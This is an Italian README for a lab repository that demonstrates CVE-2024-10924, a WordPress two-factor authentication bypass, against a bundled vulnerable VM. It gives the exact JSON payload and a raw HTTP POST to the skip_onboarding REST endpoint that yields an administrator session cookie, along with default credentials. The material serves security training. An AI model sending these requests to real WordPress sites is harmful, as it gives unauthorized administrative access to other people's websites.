
Questo repository fornisce un laboratorio per sfruttare la vulnerabilità CVE-2024-10924 in WordPress, in particolare per bypassare two-factor authentication (MFA) e ottenere l'accesso al pannello di amministrazione di WordPress.
Per distribuire questo laboratorio nel tuo ambiente, segui i passaggi seguenti:
Dovrai decomprimere lo zip del LAB; in VMWare dovrai cliccare su Open per importare una macchina, selezionare il file chiamato Ubuntu-Bypass-MFA-Wordpress.vmx e infine dovrai cliccare su Power per accendere la macchina vulnerabile.
Sulla tua macchina Kali, installa gli strumenti necessari e assicurati di avere installate le seguenti applicazioni:
nmap: per eseguire scansioni di rete.requests: per effettuare richieste HTTP (se non ce l'hai, installa requests con pip install requests).rich: per un output elegante nella console (installalo con pip install rich).Per ottenere l'IP della macchina WordPress nell'ambiente di rete, esegui il seguente script dalla tua macchina Kali:
$ python3 knowIPwordpress.py
This script does the following:
IP locale.IP attivi.HTTP.IP della macchina WordPress abbia il titolo "Bypass-MFA" nel suo servizio HTTP.URL dove puoi accedere al pannello di amministrazione di WordPress:Accede a WordPress en: http://<IP>/wp-admin
admin:admin
Quando provi ad accedere a WordPress, ti verrà chiesta la two-factor verification (MFA). Per bypassare questo passaggio, esegui il seguente script sulla tua Kali:
$ python3 bypass-MFA-Wordpress.py
Come funziona lo script bypass-MFA-Wordpress.py
Questo script sfrutta la vulnerabilità CVE-2024-10924 e bypassa la doppia verifica per ottenere l'accesso al pannello di amministrazione di WordPress.
Ottieni cookie di sessione: lo script effettua una richiesta HTTP all'endpoint reallysimplessl/v1/two_fa/skip_onboarding per ottenere un cookie di sessione valido.
La richiesta viene inviata con le seguenti informazioni:
{
"user_id": 1,
"login_nonce": "133333337",
"redirect_to": "/wp-admin/"
}
Una volta ottenuto il cookie, lo script richiede nome utente e password di WordPress. Quindi, effettua una richiesta POST all'endpoint wp-admin/profile.php con le credenziali fornite per effettuare l'accesso.
Se il bypass ha successo, lo script salva la risposta della dashboard amministrativa in un file .html e lo apre nel tuo browser predefinito.
Ora avrai accesso al pannello di amministrazione di WordPress!
Se vuoi farlo manualmente con BurpSuite e vogliamo conoscere l'Endpoint a cui dobbiamo inviare la richiesta per catturare i Cookies, possiamo farlo nel seguente modo
$ python3 endpointWordpress.py
Questo ci dirà il codice che dovremo inserire in BurpSuite per poter catturare i Cookies; nel mio caso sarebbe qualcosa del genere:
POST http://192.168.5.192/?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding HTTP/1.1
Host: 192.168.5.192
Content-Type: application/json
Content-Length: 89
Connection: keep-alive
{
"user_id": 1,
"login_nonce": "133333337",
"redirect_to": "/wp-admin/"
}
https://github.com/user-attachments/assets/e70789d1-4fe4-46b4-81ef-76229dd265ce